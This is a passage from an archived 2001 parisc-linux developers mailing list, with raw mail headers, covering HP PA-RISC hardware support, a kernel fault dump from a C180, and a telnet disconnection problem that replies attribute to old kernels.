List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13278

I have an SCSI CDR in an external case at home.  It may take me a few
days to get around to it bringing it into work, though.  Hopefully
I'll be able to find all the right adaptors.

--
Brian S. Julin





From - Thu Nov 08 21:20:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hamish Moffatt <hamish@cloud.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Status of HP 9000 D350
Date: Mon, 10 Dec 2001 08:29:39 +1100
Lines: 12
Approved: news@gmane.org
Message-ID: <20011210082939.A4062@silly.cloud.net.au>
References: <3C13B510.89F2F5B2@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620825 31056 80.91.229.3 (22 Nov 2014 01:47:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:05 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Dec  9 14:29:43 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from silly.cloud.net.au (c20042.eburwd1.vic.optusnet.com.au [203.164.66.244])
	by dsl2.external.hp.com (Postfix) with ESMTP id 34AD0482C
	for <parisc-linux@lists.parisc-linux.org>; Sun,  9 Dec 2001 14:29:42 -0700 (MST)
Original-Received: from hamish by silly.cloud.net.au with local (Exim 3.12 #1 (Debian))
	id 16DBVz-00013b-00; Mon, 10 Dec 2001 08:29:39 +1100
Mail-Followup-To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3C13B510.89F2F5B2@gmx.at>; from christoph.plattner@gmx.at on Sun, Dec 09, 2001 at 08:01:36PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13279

On Sun, Dec 09, 2001 at 08:01:36PM +0100, Christoph Plattner wrote:
> What is the status of the 9000 D350 server machine and Linux.

I tried it about two months ago and it seemed to work OK. You
need a recent kernel for the fast-wide SCSI card to be found.


Hamish
-- 
Hamish Moffatt VK3SB <hamish@debian.org> <hamish@cloud.net.au>



From - Thu Nov 08 21:20:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dan Williams <dan@bigw.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Status of HP 9000 D350
Date: Sun, 9 Dec 2001 17:08:09 -0600 (CST)
Lines: 30
Approved: news@gmane.org
Message-ID: <Pine.NEB.4.21.0112091704320.5831-100000@bigw.res.cmu.edu>
References: <20011210082939.A4062@silly.cloud.net.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620825 31063 80.91.229.3 (22 Nov 2014 01:47:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:05 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Dec  9 16:08:39 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bigw.org (BIGW.RES.CMU.EDU [128.2.156.73])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8C849482C
	for <parisc-linux@lists.parisc-linux.org>; Sun,  9 Dec 2001 16:08:38 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by bigw.org (8.10.2/8.10.2) with ESMTP id fB9N89B05833
	for <parisc-linux@lists.parisc-linux.org>; Sun, 9 Dec 2001 17:08:09 -0600 (CST)
X-Sender: dan@bigw.res.cmu.edu
In-Reply-To: <20011210082939.A4062@silly.cloud.net.au>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13280

Does this mean that fast/wide controllers on C110s would be recognized on
newer kernels, or is the C110 controller sufficiently older and
different?  I tried the 0.9.2 install CD a while ago and it would only
boot to the installer (where it then hung) if I removed ALL fast/wide
drives from the computer.  Otherwise it crashed in a fiery heap of burning
death (well, just crashed).

Dan

On Mon, 10 Dec 2001, Hamish Moffatt wrote:

> On Sun, Dec 09, 2001 at 08:01:36PM +0100, Christoph Plattner wrote:
> > What is the status of the 9000 D350 server machine and Linux.
> 
> I tried it about two months ago and it seemed to work OK. You
> need a recent kernel for the fast-wide SCSI card to be found.
> 
> 
> Hamish
> -- 
> Hamish Moffatt VK3SB <hamish@debian.org> <hamish@cloud.net.au>
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 




From - Thu Nov 08 21:20:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <nick@snowman.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP C180 again
Date: Sun, 9 Dec 2001 23:41:09 -0500 (EST)
Lines: 132
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0112092339460.13296-100000@ns>
References: <Pine.NEB.4.21.0112091704320.5831-100000@bigw.res.cmu.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620825 31065 80.91.229.3 (22 Nov 2014 01:47:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Dec  9 21:41:12 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.snowman.net (ns.snowman.net [63.80.4.34])
	by dsl2.external.hp.com (Postfix) with ESMTP id 034FC482C
	for <parisc-linux@lists.parisc-linux.org>; Sun,  9 Dec 2001 21:41:10 -0700 (MST)
Original-Received: from localhost (nick@localhost)
	by ns.snowman.net (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id XAA15723
	for <parisc-linux@lists.parisc-linux.org>; Sun, 9 Dec 2001 23:41:09 -0500
X-Sender: nick@ns
In-Reply-To: <Pine.NEB.4.21.0112091704320.5831-100000@bigw.res.cmu.edu>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13281

Hi, I got everything installed on my C180 thanks to several of you,
however I'm still haveing trouble.  I've appended the recommended
modifications to the kernel paramaters (sync=255 for the scsi), and I'm
still getting errors along these lines:
hp-2:/# rgrep syslogd *

Dumping Stack from 15fa4000 to 15fa4600:
4000 00000000 00000100 00000000 00000001 1029f180 00000000 00000000
ffffffff
4020 00000005 00000000 00000000 17fd45a0 00000000 00000000 ffffffff
1029c400
4040 1029c400 0001f941 10334000 15368000 17fd45a0 102a14b8 00000000
00000012
4060 00000000 00000000 80000000 0000022c 0000022c 00000000 0000009c
0000022c
4080 00000000 16034000 16034000 00000000 00000000 00000000 15fa4098
15fa4098
40a0 00000000 1029e988 15fa40a8 15fa40a8 00000000 00000000 00000000
00000000
40c0 00000000 00000000 00000000 00000000 00000000 00000000 0000342a
15fa4000
40e0 1011cb2c 00000018 00000036 00000000 00000000 0001f869 0000002c
00001137
4100 000000be 000001a5 00000000 00000000 00000000 00000000 80000000
00000000
4120 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000001
4140 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
4160 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
4180 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
41a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
41c0 fffffeff 00000000 fffffeff 00000000 102a01a0 ffffffff ffffffff
ffffffff
41e0 ffffffff ffffffff ffffffff 00800000 05000000 00000000 ffffffff
ffffffff
4200 ffffffff 000007b3 000007b3 00000400 00000400 ffffffff ffffffff
ffffffff
4220 ffffffff ffffffff ffffffff 00006772 65700000 72000000 00000000
00000000
4240 00000000 10080000 00000000 00000000 00000000 00000000 00000000
0002eb38
4260 00011b77 00034000 00001447 00032bc0 00000000 00004800 00031b70
000325ab
4280 0000002e 2e000000 0002eb38 0001d800 0002f200 0002eb38 00000000
0009cd64
42a0 00014000 4017fe70 00000003 401059f0 ffffd503 000300c8 00050000
4019b000
42c0 00000003 0002eb38 4019b000 00000000 faf007c0 401059fb 00000000
00000000
42e0 00000000 00000000 00000000 00000000 00000000 00000000 1029f010
00000001
4300 00000001 1014c12c 00000002 103308bc 1006c000 102a4600 102a4060
00000002
4320 00000000 00000000 0000004d 1029f010 00000001 102a1010 1028c010
102bb810
4340 1028c010 1013a540 102cd298 102a1010 00000000 00000000 1008a000
102a4600
4360 00000000 00000002 00000000 0000004d 1029f010 1008a000 102a4600
00000000
4380 00000002 00000000 00050000 00014000 00000000 cccccccd 00064000
aaaaaaab
43a0 3fe00000 00000000 412e8480 00000000 0004000e 1008b120 ffffff05
00000001
43c0 1028c010 1013a698 1009a600 102a1ed0 00000000 00000000 00000000
000000d4
43e0 00000000 000000d4 000000d4 000000d4 000000d4 000000d4 000000d4
000000d4
4400 400b95cf 400b95d3 000003d0 00000000 4019b000 15fa48c0 10106cf0
0000001e
4420 0f541222 000000d4 00034000 00000000 fff00000 40000000 00000000
00000000
4440 100cf300 15fa9060 17c7b920 00000000 00000000 00000000 15fa4454
00000000
4460 00000000 00000000 00000000 00000000 00000000 00000000 00000006
00000008
4480 ea92b889 417e2eca d553c441 828ae8c6 aaa78883 0515d18d 5539a455
0a5d1648
44a0 aa05fdf9 14cc99c2 547d4ea1 10107750 a88c2811 53a9b8fe 516ee571
a725c4ae
44c0 4018d2c4 0002eb38 401059f0 ffffd503 0002eb38 0002eb38 0000000a
00000020
44e0 ffffffff faf00670 4004655e 10107f80 00000000 000b6d28 ffffffff
00000000
4500 000300c0 0002eb38 4017fe70 faf00510 4017fe70 00000000 00001000
00000000
4520 0009f41e 00000000 00000000 10145520 0002eb38 00000003 0000000a
00050000
4540 faf00518 00000000 160d6a40 15f06d20 00000000 00000803 00000000
00000000
4560 000021a0 00000001 00000000 1013afe0 00000000 00000102 00000000
00000000
4580 0002eb38 faf00510 0002eb38 0002eb38 0002eb38 4019b000 00050000
ffffffea
45a0 160d6a40 00000000 3c14284a 00000000 00000000 0001442c 00057000
00030028
45c0 faf00510 faf00510 0000002f 00000001 00000001 0002eb38 0002eb38
00000003
45e0 faf00518 00000000 160d6a40 15f06d20 00028990 00000998 00001934
00000007

Kernel Fault: Code=26 regs=15fa4600 (Addr=00000000)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111
r0-3     00000000 000000d4 1018fa80 160d6a40
r4-7     ffffffea 00050000 00000000 4019b000
r8-11    00050000 00000000 faf00510 160d6a60
r12-15   0002eb38 00000000 00000ff8 00000001
r16-19   0002eb38 0009cd64 00014000 18000000
r20-23   15f06d20 00000002 00000001 160d6a60
r24-27   00050000 00000000 4019b000 1028c010
r28-31   160d6a40 00000000 15fa4600 1013afe0
sr0-3    00000000 000000d4 00000000 000000d4
sr4-7    00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 1025b84c 1025b850
 IIR: 0f221021    ISR: 00000000  IOR: 00000000
 CPU:        0   CR30: 15fa4000 CR31: 10338000
 ORIG_R28: 15fa4740



	Thanks
		Nick





From - Thu Nov 08 21:20:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] telnetd on hppa: strange behaviour?
Date: Mon, 10 Dec 2001 19:01:52 +0100 (CET)
Lines: 17
Approved: news@gmane.org
Message-ID: <1008007312.3c14f890e4d33@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620826 31073 80.91.229.3 (22 Nov 2014 01:47:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:06 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 10 11:01:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (unknown [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id BE81B482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Dec 2001 11:01:55 -0700 (MST)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 16DUkS-0000Aj-00
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Dec 2001 19:01:52 +0100
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13282

Hi all,

I use to work with a telnet connection to my hppa linux box.
And I just notice that if I do a ls -al in a directory containing many soft
links the telnet session stop with "connection close by foreign hosts" (and not
with a simple ls)?

(I just do a apt-get dist-uprade but nothing has to be done. Also I assume to be
up-to-date)

Thanks in advance for advice,
        Joel

-------------------------------------------------
This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:20:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nathan Neulinger <nneul@umr.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] telnetd on hppa: strange behaviour?
Date: Mon, 10 Dec 2001 12:35:09 -0600
Lines: 26
Approved: news@gmane.org
Message-ID: <3C15005D.4884E0C5@umr.edu>
References: <1008007312.3c14f890e4d33@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620826 31077 80.91.229.3 (22 Nov 2014 01:47:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 10 11:35:15 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mx.rollanet.org (mailsrv.rollanet.org [192.55.114.7])
	by dsl2.external.hp.com (Postfix) with SMTP id 8F54F482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Dec 2001 11:35:13 -0700 (MST)
Original-Received: (qmail 24243 invoked from network); 10 Dec 2001 18:35:10 -0000
Original-Received: from cessna.rollanet.org (HELO umr.edu) (nneul@216.229.93.21)
  by mx.rollanet.org with SMTP; 10 Dec 2001 18:35:10 -0000
X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.15-pre4 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13283

joel.soete@freebel.net wrote:
> 
> Hi all,
> 
> I use to work with a telnet connection to my hppa linux box.
> And I just notice that if I do a ls -al in a directory containing many soft
> links the telnet session stop with "connection close by foreign hosts" (and not
> with a simple ls)?
> 
> (I just do a apt-get dist-uprade but nothing has to be done. Also I assume to be
> up-to-date)
> 
> Thanks in advance for advice,
>         Joel

Get yourself a more recent kernel. That's a known problem with the
kernel on the 0.9.2 media.

-- Nathan

------------------------------------------------------------
Nathan Neulinger                       EMail:  nneul@umr.edu
University of Missouri - Rolla         Phone: (573) 341-4841
Computing Services                       Fax: (573) 341-4216



From - Thu Nov 08 21:20:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] telnetd on hppa: strange behaviour?
Date: Mon, 10 Dec 2001 19:55:46 +0100 (CET)
Lines: 50
Approved: news@gmane.org
Message-ID: <1008010546.3c150532c596f@webmail.tiscalinet.be>
References: <1008007312.3c14f890e4d33@webmail.tiscalinet.be> <3C15005D.4884E0C5@umr.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620826 31083 80.91.229.3 (22 Nov 2014 01:47:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:06 +0000 (UTC)
Cc: joel.soete@freebel.net, parisc-linux@lists.parisc-linux.org
To: Nathan Neulinger <nneul@umr.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 10 11:55:53 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (unknown [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id 18FAC482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Dec 2001 11:55:52 -0700 (MST)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 16DVac-0000iZ-00; Mon, 10 Dec 2001 19:55:46 +0100
In-Reply-To: <3C15005D.4884E0C5@umr.edu>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13284

Hi Nathan,

Sorry but once again I forgot to mention it (because I thought to a telnetd bug):
I experiment it with my last 2.4.16-pa16 (not the one in debian pool package) as
weel as with kernel 2.4.9-32 (this from the debian pool
kernel-image-2.4.9-32_82.1_hppa.deb package).
And I also forgot to mentioned that I just do some 2h ago a apt-get dist-upgrade
and "0 pkg upgraded, 0 newly installed, 0 to remove and 2 not upgraded". Also
may be too early uptodate?

Thanks for additional advises,
        Joel

Quoting Nathan Neulinger <nneul@umr.edu>:

> joel.soete@freebel.net wrote:
> > 
> > Hi all,
> > 
> > I use to work with a telnet connection to my hppa linux box.
> > And I just notice that if I do a ls -al in a directory containing many
> soft
> > links the telnet session stop with "connection close by foreign hosts"
> (and not
> > with a simple ls)?
> > 
> > (I just do a apt-get dist-uprade but nothing has to be done. Also I
> assume to be
> > up-to-date)
> > 
> > Thanks in advance for advice,
> >         Joel
> 
> Get yourself a more recent kernel. That's a known problem with the
> kernel on the 0.9.2 media.
> 
> -- Nathan
> 
> ------------------------------------------------------------
> Nathan Neulinger                       EMail:  nneul@umr.edu
> University of Missouri - Rolla         Phone: (573) 341-4841
> Computing Services                       Fax: (573) 341-4216
> 
> 


-------------------------------------------------
This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:20:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nathan Neulinger <nneul@umr.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] telnetd on hppa: strange behaviour?
Date: Mon, 10 Dec 2001 13:10:42 -0600
Lines: 67
Approved: news@gmane.org
Message-ID: <3C1508B2.3CCCDCF2@umr.edu>
References: <1008007312.3c14f890e4d33@webmail.tiscalinet.be> <3C15005D.4884E0C5@umr.edu> <1008010546.3c150532c596f@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620827 31090 80.91.229.3 (22 Nov 2014 01:47:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 10 12:10:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mx.rollanet.org (mailsrv.rollanet.org [192.55.114.7])
	by dsl2.external.hp.com (Postfix) with SMTP id E62EB6029
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Dec 2001 12:10:43 -0700 (MST)
Original-Received: (qmail 4662 invoked from network); 10 Dec 2001 19:10:42 -0000
Original-Received: from cessna.rollanet.org (HELO umr.edu) (nneul@216.229.93.21)
  by mx.rollanet.org with SMTP; 10 Dec 2001 19:10:42 -0000
X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.15-pre4 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13285

Hmm... never seen that symptom except with the early kernels, which
obviously isn't the case here.

I'm not familiar with 'dist-upgrade', but I typically run 'apt-get
update' then 'apt-get upgrade'. 

-- Nathan

joel.soete@freebel.net wrote:
> 
> Hi Nathan,
> 
> Sorry but once again I forgot to mention it (because I thought to a telnetd bug):
> I experiment it with my last 2.4.16-pa16 (not the one in debian pool package) as
> weel as with kernel 2.4.9-32 (this from the debian pool
> kernel-image-2.4.9-32_82.1_hppa.deb package).
> And I also forgot to mentioned that I just do some 2h ago a apt-get dist-upgrade
> and "0 pkg upgraded, 0 newly installed, 0 to remove and 2 not upgraded". Also
> may be too early uptodate?
> 
> Thanks for additional advises,
>         Joel
> 
> Quoting Nathan Neulinger <nneul@umr.edu>:
> 
> > joel.soete@freebel.net wrote:
> > >
> > > Hi all,
> > >
> > > I use to work with a telnet connection to my hppa linux box.
> > > And I just notice that if I do a ls -al in a directory containing many
> > soft
> > > links the telnet session stop with "connection close by foreign hosts"
> > (and not
> > > with a simple ls)?
> > >
> > > (I just do a apt-get dist-uprade but nothing has to be done. Also I
> > assume to be
> > > up-to-date)
> > >
> > > Thanks in advance for advice,
> > >         Joel
> >
> > Get yourself a more recent kernel. That's a known problem with the
> > kernel on the 0.9.2 media.
> >
> > -- Nathan
> >
> > ------------------------------------------------------------
> > Nathan Neulinger                       EMail:  nneul@umr.edu
> > University of Missouri - Rolla         Phone: (573) 341-4841
> > Computing Services                       Fax: (573) 341-4216
> >
> >
> 
> -------------------------------------------------
> This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)

-- 


------------------------------------------------------------
Nathan Neulinger                       EMail:  nneul@umr.edu
University of Missouri - Rolla         Phone: (573) 341-4841
Computing Services                       Fax: (573) 341-4216



From - Thu Nov 08 21:20:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nathan Neulinger <nneul@umr.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Tester needed for cdrecord on parisc-linux
Date: Mon, 10 Dec 2001 13:14:50 -0600
Lines: 38
